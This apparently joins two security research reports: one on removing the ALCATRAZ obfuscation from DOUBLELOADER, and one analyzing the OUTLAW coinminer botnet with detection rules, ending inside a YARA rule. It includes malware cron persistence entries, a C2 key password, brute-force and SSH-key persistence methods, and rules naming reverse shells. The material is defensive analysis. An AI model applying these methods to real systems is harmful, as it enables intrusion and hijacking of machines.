As ALCATRAZ is an open-source obfuscator, we can find the custom entrypoint code to see how the calculation is performed or reverse our own obfuscated example. In our decompilation, we can see the algorithm uses a few fields from the PE header such as the Size of the Stack Commit, Time Date Stamp along with the first four bytes from the .0dev section. These fields are parsed then used with bitwise operations such as rotate right (ROR) and exclusive-or (XOR) to calculate the entrypoint.

Below is an example output of IDA Python script (Appendix A) that parses the PE and finds the true entrypoint, confirming the original starting point (0x140001368) with the non-obfuscated sample.

Anti-disassembly

Malware developers and obfuscators use anti-disassembly tricks to confuse or break disassemblers in order to make static analysis harder. These techniques abuse weaknesses during linear sweeps and recursive disassembly, preventing clean code reconstruction where the analyst is then forced to manually or automatically fix the underlying instructions.

ALCATRAZ implements one form of this technique by modifying any instructions starting with the 0xFF byte by adding a short jump instruction ( 0xEB) in front. The 0xFF byte can represent the start of multiple valid instructions dealing with calls, indirect jumps, pushes on the stack. By adding the short jump 0xEB in front, this effectively jumps to the next byte 0xFF. While it’s not complex, the damage is done breaking disassembly and requiring some kind of intervention.

In order to fix this specific technique, the file can be patched by replacing each occurrence of the 0xEB byte with NOPs. After patching, the code is restored to a cleaner state, allowing the following call instruction to be correctly disassembled.

Instruction Mutation

One common technique used by obfuscators is instruction mutation, where instructions are transformed in a way that preserves their original behavior, but makes the code harder to understand. Frameworks such as Tigress or Perses are great examples of obfuscation research around instruction mutation.

Below is an example of this technique implemented by ALCATRAZ, where any addition between two registers is altered, but its semantic equivalence is kept intact. The simple add instruction gets transformed to 5 different instructions (push, not, sub, pop, sub).

In order to correct this, we can use pattern matching to find these 5 instructions together, disassemble the bytes to find which registers are involved, then use an assembler such as Keystone to generate the correct corresponding bytes.

Constant Unfolding

This obfuscation technique is prevalent throughout the DOUBLELOADER sample and is a widely used method in various forms of malware. The concept here is focused on inversing the compilation process; where instead of optimizing calculations that are known at compile time, the obfuscator “unfolds” these constants making the disassembly and decompilation complex and confusing. Below is a simple example of this technique where the known constant (46) is broken up into two mathematical operations.

In DOUBLELOADER, we run into this technique being used anytime when immediate values are moved into a register. These immediate values are replaced with multiple bitwise operations masking these constant values, thus disrupting any context and the analyst’s flow. For example, in the disassembly below on the left-hand side, there is a comparison instruction of EAX value at address (0x18016CD93). By reviewing the previous instructions, it’s not obvious or clear what the EAX value should be due to multiple obscure bitwise calculations. If we debug the program, we can see the EAX value is set to 0.

In order to clean this obfuscation technique, we can confirm its behavior with our own example where we can use the following source code and see how the transformation is applied.

#include <iostream>

int add(int a, int b)
{
	return a + b;
}

int main()
{
	int c;
	c = add(1, 2);
	printf("Meow %d",c);
	return 0;
}

After compiling, we can view the disassembly of the main function in the clean version on the left and see these two constants (2,1) moved into the EDX and ECX register. On the right side, is the transformed version, the two constants are hidden among the newly added instructions.

By using pattern matching techniques, we can look for these sequences of instructions, emulate the instructions to perform the various calculations to get the original values back, and then patch the remaining bytes with NOP’s to make sure the program will still run.

LEA Obfuscation

Similar to the previously discussed technique, LEA (Load Effective Address) obfuscation is focused on obscuring the immediate values associated with LEA instructions. An arithmetic calculation with subtraction will follow directly behind the LEA instruction to compute the original intended value. While this may seem like a minor change, it can have a significant impact breaking cross-references to strings and data — which are essential for effective binary analysis.

Below is an example of this technique within DOUBLELOADER where the RAX register value is disguised through a pattern of loading an initial value (0x1F4DFCF4F), then subtracting (0x74D983C7) to give us a new computed value (0x180064B88).

If we go to that address inside our sample, we are taken to the read-only data section, where we can find the referenced string bad array new length.

In order to correct this technique, we can use pattern matching to find these specific instructions, perform the calculation, then re-construct a new LEA instruction. Within 64-bit mode, LEA uses RIP-relative addressing so the address is calculated based on the current instruction pointer (RIP). Ultimately, we end up with a new instruction that looks like this: lea rax, [rip - 0xFF827].

Below are the steps to produce this final instruction:

With this information, we can use IDA Python to patch all these patterns out, below is an example of a fixed LEA instruction.

Control Flow Obfuscation

Control flow flattening is a powerful obfuscation technique that disrupts the traditional structure of a program’s control flow by eliminating conventional constructs like conditional branches and loops. Instead, it restructures execution using a centralized dispatcher, which determines the next basic block to execute based on a state variable, making analysis and decompilation significantly more difficult. Below is a simple diagram that represents the differences between an unflattened and flattened control flow.

Our team has observed this technique in various malware such as DOORME and it should come as no surprise in this case, that flattened control flow is one of the main features within the ALCATRAZ obfuscator. In order to approach un-flattening, we focused on established tooling by using IDA plugin D810 written by security researcher Boris Batteux.

We will start with our previous example program using the common _security_init_cookie function used to detect buffer overflows. Below is the control flow diagram of the cookie initialization function in non-obfuscated form. Based on the graph, we can see there are six basic blocks, two conditional branches, and we can easily follow the execution flow.

If we take the same function and apply ALCATRAZ's control flow flattening feature, the program’s control flow looks vastly different with 22 basic blocks, 8 conditional branches, and a new dispatcher. In the figure below, the color-filled blocks represent the previous basic blocks from the non-obfuscated version, the remaining blocks in white represent added obfuscator code used for dispatching and controlling the execution.

If we take a look at the decompilation, we can see the function is now broken into different parts within a while loop where a new state variable is used to guide the program along with remnants from the obfuscation including popf/pushf instructions.

For cleaning this function, D810 applies two different rules (UnflattenerFakeJump, FixPredecessorOfConditionalJumpBlock) that apply microcode transformations to improve decompilation.

2025-04-03 15:44:50,182 - D810 - INFO - Starting decompilation of function at 0x140025098
2025-04-03 15:44:50,334 - D810 - INFO - glbopt finished for function at 0x140025098
2025-04-03 15:44:50,334 - D810 - INFO - BlkRule 'UnflattenerFakeJump' has been used 1 times for a total of 3 patches
2025-04-03 15:44:50,334 - D810 - INFO - BlkRule 'FixPredecessorOfConditionalJumpBlock' has been used 1 times for a total of 2 patches

When we refresh the decompiler, the control-flow flattening is removed, and the pseudocode is cleaned up.

While this is a good example, fixing control-flow obfuscation can often be a manual and timely process that is function-dependent. In the next section, we will gather up some of the techniques we learned and apply it to DOUBLELOADER.

Cleaning a DOUBLELOADER function

One of the challenges when dealing with obfuscation in malware is not so much the individual obfuscation techniques, but when the techniques are layered. Additionally, in the case of DOUBLELOADER, large portions of code are placed in function chunks with ambiguous boundaries, making it challenging to analyze. In this section, we will go through a practical example showing the cleaning process for a DOUBLELOADER function protected by ALCATRAZ.

Upon launch at the Start export, one of the first calls goes to loc_18016C6D9. This appears to be an entry to a larger function, however IDA is not properly able to create a function due to undefined instructions at 0x18016C8C1.

If we scroll to this address, we can see the first disruption is due to the short jump anti-disassembly technique which we saw earlier in the blog post (EB FF).

After fixing 6 nearby occurrences of this same technique, we can go back to the start address (0x18016C6D9) and use the MakeFunction feature. While the function will decompile, it is still heavily obfuscated which is not ideal for any analysis.

Going back to the disassembly, we can see the LEA obfuscation technique used in this function below where the string constant ”Error” is now recovered using the earlier solution.

Another example below shows the transformation of an obfuscated parameter for a LoadIcon call where the lpIconName parameter gets cleaned to 0x7f00 (IDI_APPLICATION).

Now that the decompilation has improved, we can finalize the cleanup by removing control flow obfuscation with the D810 plugin. Below is a demonstration showing the before and after effects.

This section has covered a real-world scenario of working towards cleaning a malicious obfuscated function protected by ALCATRAZ. While malware analysis reports often show the final outcomes, a good portion of time is often spent up-front working towards removing obfuscation and fixing up the binary so it can then be properly analyzed.

IDA Python Scripts

Our team is releasing a series of proof-of-concept IDA Python scripts used to handle the default obfuscation techniques imposed by the ALCATRAZ obfuscator. These are meant to serve as basic examples when dealing with these techniques, and should be used for research purposes. Unfortunately, there is no silver bullet when dealing with obfuscation, but having some examples and general strategies can be valuable for tackling similar challenges in the future.

YARA

Elastic Security has created YARA rules to identify this activity.

• Windows.Trojan.DoubleLoader

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://github.com/weak1337/Alcatraz
• https://gitlab.com/eshard/d810
• https://eshard.com/posts/d810-deobfuscation-ida-pro
• http://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English/

OUTLAW is a persistent yet unsophisticated auto-propagating coinminer package observed across multiple versions over the past few years [1], [2], [3], [4]. Despite lacking stealth and advanced evasion techniques, it remains active and effective by leveraging simple but impactful tactics such as SSH brute-forcing, SSH key and cron-based persistence, and manually modified commodity miners and IRC channels. This persistence highlights how botnet operators can achieve widespread impact without relying on sophisticated techniques.

To gain deeper insights into OUTLAW’s behavior and operational patterns, we deployed a honeypot designed to attract and observe the attackers in action. By carefully crafting an environment that mimicked a vulnerable system, we were able to bait the adversaries into interacting with our server. This interaction revealed automated and manual actions, with operators entering commands directly, making modifications on the fly, and even mistyping commands—clear indicators of human involvement. A captured GIF showcases these moments, providing a rare glimpse into their real-time decision-making process.

By analyzing OUTLAW, we gain new insights into the tooling used by its operators and their evolving strategies over time. This malware presents a valuable opportunity to apply detection engineering principles, as its attack chain spans nearly the entire MITRE ATT&CK framework. Examining its infection process allows us to develop effective detection strategies that capitalize on its predictable and repetitive behaviors.

This report provides a full attack chain analysis, including detailed detection rules and hunting queries. By breaking down OUTLAW’s components, we demonstrate how even rudimentary malware can maintain longevity in modern environments and how defenders can leverage its simplicity to enhance detection and response.

Key Takeaways

• Persistent but unsophisticated: OUTLAW remains active despite using basic techniques like SSH brute-forcing, SSH key manipulation, and cron-based persistence.
• Commodity tooling: The malware deploys modified XMRig miners, leverages IRC for C2, and includes publicly available scripts for persistence and defense evasion.
• Extensive attack surface: OUTLAW’s infection chain spans nearly the entire MITRE ATT&CK framework, offering many detection and hunting opportunities.
• Worm-like propagation: OUTLAW uses its compromised hosts to launch further SSH brute-force attacks on their local subnets, rapidly expanding the botnet.

OUTLAW Overview

OUTLAW follows a multi-stage infection process that begins with downloading and executing its payload, establishing persistence, and expanding its botnet through SSH brute-force attacks. The execution chain is displayed below:

1. Initial Infection & Deployment

• The attack starts when tddwrt7s.sh downloads the dota3.tar.gz package from a C2 server.
• The extracted initall.sh script executes, kicking off the infection chain.

2. Gaining Control & Persistence

• The malware ensures dominance by killing competing brute-forcers and miners.
• It then deploys:
  • Modified XMRIG for crypto mining (connecting to a mining pool).
  • STEALTH SHELLBOT for remote control via IRC C2.
  • BLITZ to perform SSH brute force attacks.

3. Propagation & Expansion

• The brute-force module retrieves target lists from an SSH C2 server and attempts SSH brute-force attacks on new machines.
• Successfully compromised systems are infected, repeating the cycle.

This automated infection loop allows OUTLAW to remain active and profitable with minimal effort from attackers. Let’s take a deeper look at the entire attack chain.

OUTLAW Execution Chain

OUTLAW effectively covers a wide range of tactics and techniques in the MITRE ATT&CK framework. This section maps its behavior to provide an overview of its infection chain and methods.

Initial Access: blitz

OUTLAW gains initial access through opportunistic SSH brute-forcing, targeting systems with weak or default credentials. The malware employs its blitz component, also known under other names such as kthreadadd, to perform high-volume scanning and password-guessing attempts. It leverages lists of target IPs and credentials retrieved from its C2 servers.

OUTLAW also acts like a worm, automatically installing itself on every system that it successfully compromises. This self-propagation mechanism allows it to spread rapidly across networks, turning each newly infected device into another node for further brute-forcing and infection attempts.

We will take a deeper look into how OUTLAW performs these attacks and propagates itself later in the article.

Execution: tddwrt7s.sh

The first infections of OUTLAW seem to originate from a straightforward dropper script: tddwrt7s.sh. This shell script checks for an existing installation. If the malware is already present and unpacked, it will run the initall script, kicking off the infection chain. Otherwise, it will attempt to download the package from a list of provided staging servers. For illustration purposes, a shortened snippet of the dropper is shown below:

The extracted dota3.tar.gz package extracts its contents into a hidden folder called .rsync, and contains the following entries:

 ├── a
 │   ├── a
 │   ├── init0
 │   ├── kswapd0
 │   ├── kswapd01
 │   ├── run
 │   ├── socat
 │   └── stop
 ├── b
 │   ├── a
 │   ├── run
 │   └── stop
 ├── c
 │   ├── blitz
 │   ├── blitz32
 │   ├── blitz64
 │   ├── go
 │   ├── run
 │   ├── start
 │   ├── stop
 │   └── v
 ├── init
 ├── init2
 └── initall

Let’s deconstruct the execution chains one by one.

Main Initialization script: initall

The three init scripts control the overall execution flow and deployment of the malware. Starting with the initall script, the main initializer determines which execution path to take. It checks the system environment and decides whether to use init or init2 based on file permissions and available directories.

These init scripts all use variable-based string concatenation obfuscation, where commands are split into small variable fragments that are dynamically concatenated and executed, making static analysis more difficult. For example, the initall script looks like this:

However, by changing the eval to an echo, we can get the output without any effort:

This script will, by default, consistently execute init. This is the primary execution path that installs the malware in the hidden directory ~/.configrc6. The fallback execution path is init2, which is used when ~/.configrc6 is inaccessible. The main difference is that this path keeps all components in the current working directory. Applying the same deobfuscation principle as we did previously, we end up with the following two scripts:

The first script (init) hides its components in the hidden directory ~/.configrc6, while the second script (init2) runs directly from the working directory. Despite this difference, the execution flow remains the same, starting the binary named a in the a/ and b/ directories as background processes and establishing persistence. In both scripts, the malware installs cron jobs that execute its binaries at regular intervals and on system reboots:

5 6 * * 0   ~/.configrc6/a/upd
@reboot     ~/.configrc6/a/upd
5 8 * * 0   ~/.configrc6/b/sync
@reboot     ~/.configrc6/b/sync
0 0 */3 * * ~/.configrc6/c/aptitude

Although the scripts execute the a binary in the a/ and b/ directories nearly simultaneously, we will follow the execution flow of the a/ directory first.

Subroutine Execution of a/ directory: XMRIG

The first script that is executed is a, which removes any existing cron jobs using crontab -r and then stores the current working directory in a variable. It then creates a shell script called upd that checks if a process (stored in bash.pid) is still running. If the process is not running, it executes ./run as a background process, ensuring that the malware is continuously restarted if terminated.

Additionally, we see some commented commands, indicating that other versions of this malware may exist under names such as rsync, go, kswapd0, blitz, and redtail.

Further down the script, a function is created that checks if /sys/module/msr/parameters/allow_writes exists and sets it to "on" to enable writing to Model-Specific Registers (MSRs). If the file does not exist, it enables MSR writes through the modprobe msr allow_writes=on command.

Next, the function identifies the active CPU by checking /proc/cpuinfo and applies specific MSR register values to optimize performance.

Finally, the function optimizes memory usage by enabling hugepages for all CPU cores, increasing memory access efficiency. It calculates the number of hugepages needed based on the available processors (nproc) and sets them in the /sys/devices/system/node/node*/hugepages/ directories.

The optimize_func() function was not created by the threat actor. The threat actor used an open-source script from the XMRig repository, specifically the randomx_boost.sh script, to aid in their infection chain.

Depending on the user's privileges, it will either run the whole optimization function, or attempt to set the number of hugepages through sysctl:

All steps performed in this chain show apparent signs of cryptocurrency mining system optimization. Finally, the script grants execution permissions to the upd file and "777" permissions to all files in its folder and runs upd.

As we saw earlier in the chain, the upd file checks whether the process stored in bash.pid is still running, and if it is not, it will execute the run script:

The run script will start the stop script, which is a typical script that bring down the defenses of any known miner configurations any known miner configurations and kill any known miner processes based on name/process ID or network traffic. A shortened version of this script is illustrated below:

Interestingly enough, a second process-killing script called init0 is present, which is an open-source script for killing cryptocurrency miners in a Linux environment. This script is not being run, as the execution flow for this script was commented out in the a script.

After the stop script has been successfully run, the run script starts the kswapd01 and kswapd0 binaries in the background via nohup.

kswapd01

The kswap01 binary plays a critical role in ensuring persistent communication within the malware’s infrastructure. Its main task is to monitor and maintain a continuous socat process, which is essential for communication with the attacker’s C2 servers.

When executed, kswap01 checks for any existing socat processes running on the infected machine. If no active connection is found, it proceeds to kill any running socat processes and selects an alternative IP address from a predefined list. The binary then establishes a new connection by launching a fresh socat process to listen on the local machine and forward traffic to a remote server, typically on port 4444. This ensures the malware maintains control over the infected system and can continue receiving commands from the attacker.

However, it's important to note that not every version of the OUTLAW malware package observed includes the socat binary. In these cases, the functionality provided by socat is either replicated by other means or simply omitted, relying on alternative methods for maintaining persistence and communication.

By performing these checks and modifications, kswap01 helps maintain the persistence of the C2 connection, making it harder for defenders to interrupt the communication channel between the attacker and the compromised system.

kswapd0

The file named kswapd0 is a maliciously modified copy of the legitimate XMRig cryptocurrency miner (specifically version 6.22.1).

Two major modifications define the malware’s behavior:

1. Startup Shell Commands

• The malware removes and recreates the victim’s ~/.ssh folder, injects an attacker-controlled SSH public key, and re-applies restrictive permissions (chattr +ia) to prevent modification. This grants persistent SSH access.
• It also removes or locks existing XMRig configuration files (e.g., ~/.xmrig.json, ~/.config/xmrig.json) to ensure the attacker’s embedded miner settings remain intact.

2. Embedded Miner Configuration

• The binary is compiled with an internal mining configuration, allowing XMRIG to run without an external config file.
• Mining traffic is routed to multiple Monero pools over plaintext ports (:80, :4444), SSL (:442), and occasionally TOR addresses. Note that the port 442 here is not a typo.
• The configuration optimizes performance by:
  • Running the miner in the background
  • Enabling large pages for RandomX
  • Setting the donation level to zero
  • Maximizing CPU thread usage

By locking out administrators, preventing config changes, and injecting an attacker-controlled SSH key, kswapd0 serves as a stealthy persistence mechanism — allowing for continuous Monero mining and unauthorized remote access, all while masquerading as a legitimate system process.

Subroutine Execution of b/ directory: STEALTH SHELLBOT

As we described earlier, the a binary in the b/ directory was also executed via the init scripts.

This script kicks off another stop script with the same purpose we described earlier: kill any known bad processes. Afterward, it creates a script called sync, with the sole purpose of executing the run script. This script is referenced in the cronjob we described earlier. The run script contains three base64-encoded blobs, which are piped to perl. An example of a shortened script is shown below:

Upon base64 decoding, obfuscated perl scripts are identified. These scripts leverage a public Perl Obfuscator utility to obfuscate their contents, making them harder to analyze:

Fortunately, the author left the standard comments in the obfuscated scripts. By using the publicly available deobfuscator we can deobfuscate the script through the following command:

perl decode-stunnix-5.17.1.pl < obfuscated_run.pl > deobfuscated_run.pl

After which we can view the deobfuscated contents:

This is just the first few lines of the script, for illustrative purposes. This deobfuscation technique can also be used for the other obfuscated Perl scripts used by OUTLAW. We will take a closer look at these scripts in just a moment.

The script ends off with installing its own SSH public key for persistent access, setting restrictive permissions, and making the directory immutable to prevent modification through chattr:

STEALTH SHELLBOT Scripts

The STEALTH SHELLBOT scripts used in OUTLAW are not custom-built but rather publicly available IRC bot scripts, often sourced from old GitHub repositories and underground forums. These scripts have been around for over a decade, originally designed for remote administration, automation, and botnet management. However, they have since been repurposed by malware authors for malicious activities.

SHELLBOT scripts operate as IRC-based backdoors, allowing attackers to remotely control infected machines via predefined commands sent through an IRC channel. Once connected to the attacker’s IRC server, these bots can:

• Execute arbitrary shell commands
• Download and execute additional payloads
• Launch DDoS attacks (in older variants)
• Steal credentials or exfiltrate system information
• Manage crypto miners or other malware components

OUTLAW integrates these legacy SHELLBOT scripts as a secondary persistence mechanism, ensuring that even if its brute-force modules are disrupted, attackers still retain a remote foothold. The bot connects to an attacker-controlled IRC C2, where it listens for further commands, enabling on-demand execution of malicious actions.

While these scripts are not novel, their continued use highlights how attackers rely on publicly available tools rather than developing new malware from scratch.

Subroutine Execution of c/ directory: Customer Bruteforcer

As part of the third and final sub-routine, a custom bruteforce tool is deployed. This chain starts, similar to the previous sub-routines, from the init and init2 scripts. These scripts both call the start script, containing the following contents:

This script stores the current working directory, provides all permissions (777) to all files in the current directory, and creates a script named aptitude (which is also called by the previously set up cron job), to run the run script. After creating aptitude, it is granted execution permissions and is run.

The run script is used to gather CPU architecture information and count CPU cores to determine execution behavior, as shown below:

If the system is x86_64, it checks whether the CPU has fewer than 7 cores, introducing a randomized delay before executing ./go in the background. If 7 or more cores are detected, execution is skipped or altered (with a previously used binary golan now commented out). The threat actor may have been testing or working with a Golang binary that can make full use of the number of cores present in a system, but that is just a guess.

In most scenarios, the execution flow moves to the bash script called go:

The script determines the CPU architecture and assigns a thread count accordingly:

• ARM-based systems → 75 threads
• i686 (32-bit x86) → 325 threads
• All others (default) → 475 threads

It then enters an infinite loop, executing the following actions:

1. Creates and cleans up temporary files (v, p, ip, xtr*, a.*, b.*).
2. Writes hardcoded values (257.287.563.234 and sdaferthqhr34312asdfa) into files c and d.
3. Waits for a random delay (1-30 seconds) before launching blitz.
4. Executes blitz for 3 hours with specified parameters (-t $threads suggests multi-threaded processing).
5. Performs post-execution cleanup, removing temporary and log files before repeating the cycle.

BLITZ

OUTLAW is a self-propagating worm that spreads laterally through SSH brute-force attacks using BLITZ, its custom-built brute-forcer. Designed for aggressive, automated credential attacks, BLITZ systematically scans for and compromises systems with weak or default SSH credentials, allowing the malware to expand its foothold with minimal attacker intervention.

BLITZ Execution Process

Upon execution, BLITZ follows a structured attack sequence:

1. IP Target and Credential Retrieval
   • BLITZ contacts an SSH C2 server to fetch a list of target IPs and credential pairs.
2. Brute-Force Authentication & System Profiling
   • Using multi-threaded SSH brute-forcing, BLITZ attempts to authenticate with stolen credentials.
   • Once access is gained, it:
     • Changes the user’s password for persistent access.
     • Executes system reconnaissance commands, collecting:
       • User privileges
       • CPU details
       • SSH banner information
       • OS version
     • Exfiltrates gathered data to the C2 server.
3. Subnet Scanning & Lateral Movement
   • The malware scans the local subnet of newly compromised systems, identifying additional SSH-accessible machines to attack.
4. Self-Replication & Malware Deployment
   • Instead of downloading from an external C2, BLITZ directly transfers the dota3.tar.gz malware package from the infecting host to the new victim, reinforcing persistence and minimizing reliance on external infrastructure.

By combining automated brute-force attacks, system profiling, subnet scanning, and direct malware transfer, BLITZ maximizes infection efficiency while ensuring continued network expansion.

Binary Analysis & C2 Communication

Beyond brute-force operations, analysis reveals that BLITZ executes its tasks by interacting with system shell commands and an embedded SSH library. Once connected to a compromised system, it queries the C2 server for updated targets and relays authentication data.

Additionally, OUTLAW incorporates a hardcoded SSH key for C2 authentication, which must be unlocked using the password "pegasus". Upon successful authentication, Blitz logs attack details into a "v" file, structured as follows:

This log contains:

• Original username and password used in the attack.
• The victim’s IP address and the new password set by the malware.
• SSH port and OS details, including CPU specifications.

Once BLITZ completes its scanning cycle, the "v" file is exfiltrated to an SSH C2 server, providing attackers with a continuously updated list of infected systems.

Post-Compromise

To analyze the attacker’s post-compromise behavior, we deliberately set up a honeypot and proactively uploaded its credentials to the same SSH C2 server used by the attacker. This effectively invited the attacker into our controlled environment, allowing us to closely monitor their subsequent actions.

A few days after BLITZ successfully brute-forced and set a new password on the honeypot system, we observed a remote login using these credentials. The login originated from 212.234.225[.]29. The attacker immediately performed basic reconnaissance by running the w command to check who was logged in and then executing ps to see what processes were running. In the course of typing commands, they made a small typo and killed the prompt with a quick Ctrl+C, indicating a manual interaction rather than an automated script at this stage. Next, the attacker pasted a series of commands to download a fresh copy of dota3.tar.gz via wget, unpacked it, and executed the newly fetched script.

This whole chain of activity can be displayed through session view, an investigation tool that allows you to examine Linux process data organized in a tree-like structure according to the Linux logical event model, with processes organized by parentage and time of execution. It displays events in a highly readable format that is inspired by the terminal. This makes it a powerful tool for monitoring and investigating session activity on your Linux infrastructure and understanding user and service behavior.

The attack chain displayed above mirrors the original infection method, suggesting that the attacker was either updating components or re-infecting the host to maintain persistence. Soon after verifying that the updated payload was running, the attacker disconnected from the host, leaving behind an environment primed for continued SSH brute-forcing, cryptocurrency mining, and remote control via IRC.

This brief login serves as a reminder that even unsophisticated campaigns can include pockets of interactive attacker activity—a manual "quality check" of sorts—underscoring the importance of timely detection and swift containment.

Detecting OUTLAW through MITRE ATT&CK

OUTLAW is a Linux malware that relies on SSH brute-force attacks, cryptocurrency mining, and worm-like propagation to infect and maintain control over systems. While not highly sophisticated, it covers a broad range of MITRE ATT&CK techniques, making it an effective case for detection engineering.

This section maps OUTLAW’s attack chain to MITRE ATT&CK, highlighting Elastic SIEM and endpoint rules and threat-hunting queries that can identify its activity at different stages.

OUTLAW follows a structured infection flow:

• Initial Access – SSH brute-force against weak credentials.
• Execution – Runs malicious scripts to kick off several stages of malware infection.
• Persistence – Installs cron jobs and modifies SSH keys.
• Defense Evasion – Hides in hidden directories, modifies file permissions, uses packing techniques, command encoding, and obfuscates scripts.
• Credential Access – Modifies credentials and injects public SSH keys.
• Discovery – Enumerates user, system, and hardware details.
• Lateral Movement – Spreads via internal SSH brute-force and malware transfer.
• Collection & Exfiltration – Collects and exfiltrates system data to its C2.
• Command and Control – Uses socat and STEALTH SHELLBOT for C2 communication.
• Impact – Launches XMRIG to mine cryptocurrency and leverages the infected host as a brute-force node.

The following sections detail detection strategies for each technique, helping defenders effectively identify and mitigate OUTLAW’s infections.

TA001: Initial Access

OUTLAW gains initial access through opportunistic SSH brute-forcing, targeting systems with weak or default credentials. Elastic pre-built detection rules can successfully detect this method of initial access. These include:

• Potential External Linux SSH Brute Force Detected
• Potential Successful SSH Brute Force Attack

Additionally, there are several rules based on authentication logs to detect suspicious SSH authentications:

• Successful SSH Authentication from Unusual SSH Public Key
• Successful SSH Authentication from Unusual User
• Successful SSH Authentication from Unusual IP Address

Besides relying on detections, it is important to incorporate threat hunting into your workflow. Elastic Security provides several hunting queries using ES|QL and OSQuery, publicly available in our Detection Rules repository, specifically in the Linux hunting subdirectory. For example, the following two hunts may help in identifying different stages of the attack:

• Logon Activity by Source IP
• Excessive SSH Network Activity to Unique Destinations

TA002: Execution

After gaining initial access, OUTLAW executes a series of scripts and binaries to establish control. Upon downloading and unpacking, we detect:

• File Downloaded from Suspicious Source by Web Server
• Memory Threat Detection Alert: Linux.Trojan.Pornoasset

The STEALTH SHELLBOT script is detected through:

• Script Executed Through Unusual Parent Process

Additionally, the malware executes multiple suspicious system commands, triggering:

• Suspicious System Commands Executed by Previously Unknown Executable

TA003: Persistence

This combination of cron-based execution and SSH key manipulation allows OUTLAW to maintain a persistent foothold on compromised systems. Both of these persistence techniques are extensively researched in our "Linux Detection Engineering - A primer on persistence mechanisms" publication. We can detect these techniques through the following SIEM and endpoint rules:

• Cron Job Created or Modified
• SSH Authorized Keys File Modification
• Potential Persistence via File Modification

Additionally, we can hunt for these techniques through the following ES|QL and OSQuery hunts:

• Persistence via Cron
• Persistence via SSH Configurations and/or Keys

TA005: Defense Evasion

OUTLAW employs multiple defense evasion techniques to avoid detection. One of its primary methods is Base64 decoding, which is detected through the following pre-built rules:

• Base64 Decoded Payload Piped to Interpreter
• Unusual Base64 Encoding/Decoding Activity
• Linux Payload Decoded and Decrypted via Built-in Utility

Additionally, the malware's binaries are packed with UPX, reducing their size and altering their signature to evade traditional malware detection. Once the malware unpacks in memory, this is detected through our general malware detections.

Continuing down the execution chain, the malware creates several hidden files and directories and modifies them using chattr:

• File Permission Modification in Writable Directory
• Creation of Hidden Files and Directories via CommandLine
• File made Immutable by Chattr
• Chattr Execution from Unusual Parent

We can further enhance detection through the following hunting query:

• Hidden Process Execution

TA006: Credential Access

OUTLAW maintains persistent access to a compromised system by manipulating credentials. Following successful SSH brute-force authentication, the malware replaces the existing SSH authorized_keys file with a new version containing a malicious SSH public key, thereby granting persistent access. This is detected through the following signals:

• SSH Authorized Keys File Modification
• SSH Authorized Keys File Deletion

The malware then changes the user credentials for the authenticated account by entering a new password using the passwd utility:

• Linux User Account Credential Modification

TA007: Discovery

OUTLAW gathers system information upon successful infection to profile the compromised environment. The malware executes various commands to collect details about the system’s CPU, user privileges, operating system, memory usage, and available binaries. This reconnaissance step helps the attacker assess the system’s capabilities and determine how best to utilize the compromised machine. These are all detected through several building block rules, as listed in our rules_building_block directory. Below is a short list of the most important ones triggered by OUTLAW:

• Linux System Information Discovery
• Process Discovery via Built-In Applications
• System Owner/User Discovery Linux
• Account or Group Discovery via Built-In Tools
• System Network Connections Discovery

The default interface settings do not include building block rules due to their relatively high noise levels. However, these rules can be enabled to assist in the identification of potential threats.

TA008: Lateral Movement

OUTLAW malware spreads through a compromised network by carrying out internal SSH brute-force attacks. We can identify this behavior through the following ES|QL rules:

• Potential Port Scanning Activity from Compromised Host
• Potential Subnet Scanning Activity from Compromised Host

Once a system is successfully brute-forced, the malware package, dota3.tar.gz, is deployed from the infected host to the new target. The local subnet is then scanned for additional targets to ensure the malware's continued propagation.

Elastic pre-built detection rules can identify these lateral movement attempts:

• Potential Internal Linux SSH Brute Force Detected
• Remote File Creation in World Writeable Directory
• Unusual Remote File Creation

Additionally, upon copying the OUTLAW malware to a remote host, malware prevention alerts kick in.

TA009: Collection & TA010: Exfiltration

OUTLAW collects basic system information, credentials, and SSH details from compromised machines, primarily for tracking infected hosts and facilitating further attacks. This data is stored in a simple text file before being uploaded to a C2 server. Since this collection activity is limited to gathering system details and writing them to a file, it is not inherently suspicious on its own.

Exfiltration occurs when OUTLAW initiates an outbound SSH connection via sftp-server to transfer the collected information to a predefined C2 server. While this may resemble normal SSH activity, we can detect suspicious execution of file transfer utilities through ES|QL:

• Unusual File Transfer Utility Launched

TA011: Command and Control

OUTLAW maintains communication with its C2 infrastructure through multiple channels, allowing attackers to issue commands, exfiltrate data, and manage infected systems. We can detect several of the utilities used by the malware through the following rules:

• Socat Reverse Shell or Listener Activity
• High Number of Egress Network Connections from Unusual Executable
• Suspicious Network Activity to the Internet by Previously Unknown Executable.

The same hunting queries that were relevant for detecting the malware’s initial access attempts, can also be used to hunt for this C2 activity. Additionally, the following hunting queries can be used:

• Low Volume External Network Connections from Process by Unique Agent
• Unusual File Downloads from Source Addresses
• Excessive SSH Network Activity to Unique Destinations

TA040: Impact

OUTLAW impacts infected systems by consuming CPU resources for cryptocurrency mining and performing SSH brute-force attacks to propagate. Several CPU and memory optimizations are attempted before launching the modified XMRIG mining software, including enabling MSR write access and setting kernel parameters such as hugepages. These modifications can be detected through the following rules:

• Suspicious Kernel Feature Activity
• MSR Write Access Enabled

As OUTLAW attempts to enable MSR write access via modprobe but lacks the required permissions, kernel driver-related rules are triggered:

• Kernel Driver Load by Non-Root User
• Kernel Driver Load

These rules directly monitor for init_module() and finit_module() syscalls, through Auditd. For more information on how to set up the Auditd Manager integration to capture driver events and much more, check out the Linux Detection Engineering with Auditd publication.

Simultaneously, SSH brute-force attempts are launched from the infected host, triggering:

• Potential Malware-Driven SSH Brute Force Attempt

Throughout its execution, OUTLAW runs kill scripts to terminate competing malware or leftover processes from previous infections. This behavior triggers:

• Kill Command Executed
• Kill Command Executed from Binary in Unusual Location
• Kill Command Executed from a Hidden Process

Indicators of Compromise (IOCs)

The complete set of indicators can be found as a bundle on Github.

Yara Signatures

rule Linux_Hacktool_Outlaw_cf069e73 {
    meta:
        author = "Elastic Security"
        description = "OUTLAW SSH bruteforce component fom the Dota3 package"
        reference_sample = "c3efbd6b5e512e36123f7b24da9d83f11fffaf3023d5677d37731ebaa959dd27"
      
    strings:
        $ssh_key_1 = "MIIJrTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQI8vKBZRGKsHoCAggA"
